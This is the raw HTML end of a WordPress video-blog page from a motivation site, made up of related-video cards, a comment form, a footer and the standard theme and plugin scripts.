</article>			     				     		<article class="vlog-lay-e vlog-post col-lg-4 col-sm-4 col-md-4 col-xs-12 post-1403 post type-post status-publish format-video has-post-thumbnail hentry category-better-with-bean category-motivation post_format-post-format-video">
	
	    <div class="entry-image">
            <a href="https://thewhyteanswer.com/wednesday-wisdom-3/" title="Wednesday Wisdom" class=""  data-id="1403" data-format="video">
            <img width="232" height="130" src="https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-232x130.jpg" class="attachment-vlog-lay-e size-vlog-lay-e wp-post-image" alt="The Whyte Answer Greg Whyte talking about meditation, prayers &amp; mindfulness" loading="lazy" srcset="https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-232x130.jpg 232w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-300x169.jpg 300w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-1024x576.jpg 1024w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-768x432.jpg 768w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-1104x621.jpg 1104w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-366x205.jpg 366w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-534x300.jpg 534w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-165x92.jpg 165w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-249x140.jpg 249w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2-344x193.jpg 344w, https://thewhyteanswer.com/wp-content/uploads/2020/04/wednesday-wisdom-2.jpg 1280w" sizes="auto, (max-width: 232px) 100vw, 232px" />                              <div class="vlog-labels small"><span class="vlog-format-label">Video</span></div>            	                </a>
    </div>
	
	<div class="entry-header">

		                            
        
                    <span class="entry-category"><a href="https://thewhyteanswer.com/category/better-with-bean/" class="vlog-cat-83">Better with Bean</a>, <a href="https://thewhyteanswer.com/category/motivation/" class="vlog-cat-54">Motivation</a></span>
                
	    <h2 class="entry-title h5"><a href="https://thewhyteanswer.com/wednesday-wisdom-3/">Wednesday Wisdom</a></h2>
	</div>
    
                        <div class="entry-meta"><div class="meta-item meta-views">23 views</div><div class="meta-item meta-rtime">1 min read</div></div>
            

	    
            

</article>			     				     		<article class="vlog-lay-e vlog-post col-lg-4 col-sm-4 col-md-4 col-xs-12 post-1395 post type-post status-publish format-video has-post-thumbnail hentry category-motivation post_format-post-format-video">
	
	    <div class="entry-image">
            <a href="https://thewhyteanswer.com/thursday-thought-2/" title="Thursday Thought" class=""  data-id="1395" data-format="video">
            <img width="232" height="130" src="https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-232x130.jpg" class="attachment-vlog-lay-e size-vlog-lay-e wp-post-image" alt="" loading="lazy" srcset="https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-232x130.jpg 232w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-300x169.jpg 300w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-1024x576.jpg 1024w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-768x432.jpg 768w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-1104x621.jpg 1104w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-366x205.jpg 366w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-534x300.jpg 534w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-165x92.jpg 165w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-249x140.jpg 249w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1-344x193.jpg 344w, https://thewhyteanswer.com/wp-content/uploads/2020/04/thursday-thought-1.jpg 1280w" sizes="auto, (max-width: 232px) 100vw, 232px" />                              <div class="vlog-labels small"><span class="vlog-format-label">Video</span></div>            	                </a>
    </div>
	
	<div class="entry-header">

		                            
        
                    <span class="entry-category"><a href="https://thewhyteanswer.com/category/motivation/" class="vlog-cat-54">Motivation</a></span>
                
	    <h2 class="entry-title h5"><a href="https://thewhyteanswer.com/thursday-thought-2/">Thursday Thought</a></h2>
	</div>
    
                        <div class="entry-meta"><div class="meta-item meta-views">24 views</div><div class="meta-item meta-rtime">1 min read</div></div>
            

	    
            

</article>			     				    </div>

			</div>
		</div>
	</div>


						
						

	<div id="comments" class="vlog-comments">

		<div class="vlog-mod-head"><div class="vlog-mod-title"><h4>Add comment</h4></div></div>	<div id="respond" class="comment-respond">
		<h3 id="reply-title" class="comment-reply-title"> <small><a rel="nofollow" id="cancel-comment-reply-link" href="/tuesday-tip/#respond" style="display:none;">Cancel reply</a></small></h3><form action="https://thewhyteanswer.com/wp-comments-post.php" method="post" id="commentform" class="comment-form"><p class="comment-notes"><span id="email-notes">Your email address will not be published.</span> <span class="required-field-message">Required fields are marked <span class="required">*</span></span></p><p class="comment-form-comment"><label for="comment">Comment <span class="required">*</span></label> <textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required></textarea></p><p class="comment-form-author"><label for="author">Name <span class="required">*</span></label> <input id="author" name="author" type="text" value="" size="30" maxlength="245" autocomplete="name" required /></p>
<p class="comment-form-email"><label for="email">Email <span class="required">*</span></label> <input id="email" name="email" type="email" value="" size="30" maxlength="100" aria-describedby="email-notes" autocomplete="email" required /></p>
<p class="comment-form-url"><label for="url">Website</label> <input id="url" name="url" type="url" value="" size="30" maxlength="200" autocomplete="url" /></p>
<p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes" /> <label for="wp-comment-cookies-consent">Save my name, email, and website in this browser for the next time I comment.</label></p>
<p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Submit Comment" /> <input type='hidden' name='comment_post_ID' value='1399' id='comment_post_ID' />
<input type='hidden' name='comment_parent' id='comment_parent' value='0' />
</p></form>	</div><!-- #respond -->
	
		
	</div>


					</div>

											

	<div class="vlog-sidebar vlog-sidebar-right">

		
		
	</div>

					
			</div>

		</div>

	</article>



    
    </div>
        <footer id="footer" class="vlog-site-footer">

            
                <div class="container">
                    <div class="row">
                        
                                                    <div class="col-lg-4 col-md-4">
                                                                    <div id="custom_html-2" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"></div></div><div id="custom_html-3" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"></div></div><div id="custom_html-4" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"></div></div>                                                            </div>
                                                    <div class="col-lg-4 col-md-4">
                                                            </div>
                                                    <div class="col-lg-4 col-md-4">
                                                            </div>
                        
                    </div>
                </div>

            
            
                <div class="vlog-copyright">
                    <div class="container">
                        <p style="text-align: center">Copyright © 2021. <a href="https://www.barrettstacey.com" target="_blank" rel="noopener">BARRETTSTACEY</a>.</p>                    </div>
                </div>

            
        </footer>


		<script>
			window.RS_MODULES = window.RS_MODULES || {};
			window.RS_MODULES.modules = window.RS_MODULES.modules || {};
			window.RS_MODULES.waiting = window.RS_MODULES.waiting || [];
			window.RS_MODULES.defered = true;
			window.RS_MODULES.moduleWaiting = window.RS_MODULES.moduleWaiting || {};
			window.RS_MODULES.type = 'compiled';
		</script>
		<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/vlog-child/*","/wp-content/themes/vlog/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
		<!-- Google Tag Manager (noscript) snippet added by Site Kit -->
		<noscript>
			<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-PWXJ9K7" height="0" width="0" style="display:none;visibility:hidden"></iframe>
		</noscript>
		<!-- End Google Tag Manager (noscript) snippet added by Site Kit -->
		<script type="text/javascript">/* <![CDATA[ */ jQuery(document).ready( function() { jQuery.post( "https://thewhyteanswer.com/wp-admin/admin-ajax.php", { action : "entry_views", _ajax_nonce : "4524703b5e", post_id : 1399 } ); } ); /* ]]> */</script>
<script id="wp-hooks-js" src="https://thewhyteanswer.com/wp-includes/js/dist/hooks.min.js?ver=f0f188028580e8dc1255"></script>
<script id="wp-i18n-js" src="https://thewhyteanswer.com/wp-includes/js/dist/i18n.min.js?ver=1dfe7db3940c23ea9216"></script>
<script id="wp-i18n-js-after">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
</script>
<script id="swv-js" src="https://thewhyteanswer.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.1.7"></script>
<script id="contact-form-7-js-translations">
( function( domain, translations ) {
	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
	localeData[""].domain = domain;
	wp.i18n.setLocaleData( localeData, domain );
} )( "contact-form-7", {"translation-revision-date":"2026-05-05 18:32:38+0000","generator":"GlotPress\/4.0.3","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n != 1;","lang":"en_GB"},"This contact form is placed in the wrong place.":["This contact form is placed in the wrong place."],"Error:":["Error:"]}},"comment":{"reference":"includes\/js\/index.js"}} );
//# sourceURL=contact-form-7-js-translations
</script>
<script id="contact-form-7-js-before">
var wpcf7 = {
    "api": {
        "root": "https:\/\/thewhyteanswer.com\/wp-json\/",
        "namespace": "contact-form-7\/v1"
    }
};
//# sourceURL=contact-form-7-js-before
</script>
<script id="contact-form-7-js" src="https://thewhyteanswer.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.1.7"></script>
<script id="mks_shortcodes_js-js" src="https://thewhyteanswer.com/wp-content/plugins/meks-flexible-shortcodes/js/main.js?ver=1"></script>
<script defer async id="tp-tools-js" src="//thewhyteanswer.com/wp-content/plugins/revslider/sr6/assets/js/rbtools.min.js?ver=6.7.38"></script>
<script defer async id="revmin-js" src="//thewhyteanswer.com/wp-content/plugins/revslider/sr6/assets/js/rs6.min.js?ver=6.7.38"></script>
<script async data-wp-strategy="async" fetchpriority="low" id="comment-reply-js" src="https://thewhyteanswer.com/wp-includes/js/comment-reply.min.js?ver=7.1.1"></script>
<script id="vlog-magnific-popup-js" src="https://thewhyteanswer.com/wp-content/themes/vlog/assets/js/magnific-popup.js?ver=2.5.2"></script>
<script id="vlog-fitvids-js" src="https://thewhyteanswer.com/wp-content/themes/vlog/assets/js/fitvids.js?ver=2.5.2"></script>
<script id="vlog-sticky-kit-js" src="https://thewhyteanswer.com/wp-content/themes/vlog/assets/js/sticky-kit.js?ver=2.5.2"></script>
<script id="vlog-owl-carousel-js" src="https://thewhyteanswer.com/wp-content/themes/vlog/assets/js/owl-carousel.js?ver=2.5.2"></script>
<script id="vlog-modernizr-js" src="https://thewhyteanswer.com/wp-content/themes/vlog/assets/js/amodernizr.js?ver=2.5.2"></script>
<script id="vlog-dlmenu-js" src="https://thewhyteanswer.com/wp-content/themes/vlog/assets/js/dlmenu.js?ver=2.5.2"></script>
<script id="vlog-main-js-extra">
var vlog_js_settings = {"ajax_url":"https://thewhyteanswer.com/wp-admin/admin-ajax.php","ajax_wpml_current_lang":null,"rtl_mode":"false","header_sticky":"1","header_sticky_offset":"600","header_sticky_up":"","single_sticky_bar":"","logo":"https://thewhyteanswer.com/wp-content/uploads/2017/02/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png","logo_retina":"https://thewhyteanswer.com/wp-content/uploads/2017/02/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png","logo_mini":"https://thewhyteanswer.com/wp-content/uploads/2017/02/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png","logo_mini_retina":"https://thewhyteanswer.com/wp-content/uploads/2017/02/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png","cover_inplay":"","cover_inplay_audio":"","watch_later_ajax":"","listen_later_ajax":"","cover_autoplay":"","cover_autoplay_time":"5","rensponsive_secondary_nav":"","responsive_more_link":"","responsive_social_nav":"","video_display_sticky":"","video_sticky_title":"Currently playing","force_autoplay":"1","cover_height":"600"};
//# sourceURL=vlog-main-js-extra
</script>
<script id="vlog-main-js" src="https://thewhyteanswer.com/wp-content/themes/vlog/assets/js/main.js?ver=2.5.2"></script>
<script id="page-links-to-js" src="https://thewhyteanswer.com/wp-content/plugins/page-links-to/dist/new-tab.js?ver=3.4.1"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://thewhyteanswer.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://thewhyteanswer.com/wp-includes/js/wp-emoji-loader.min.js
</script>
</body>

</html>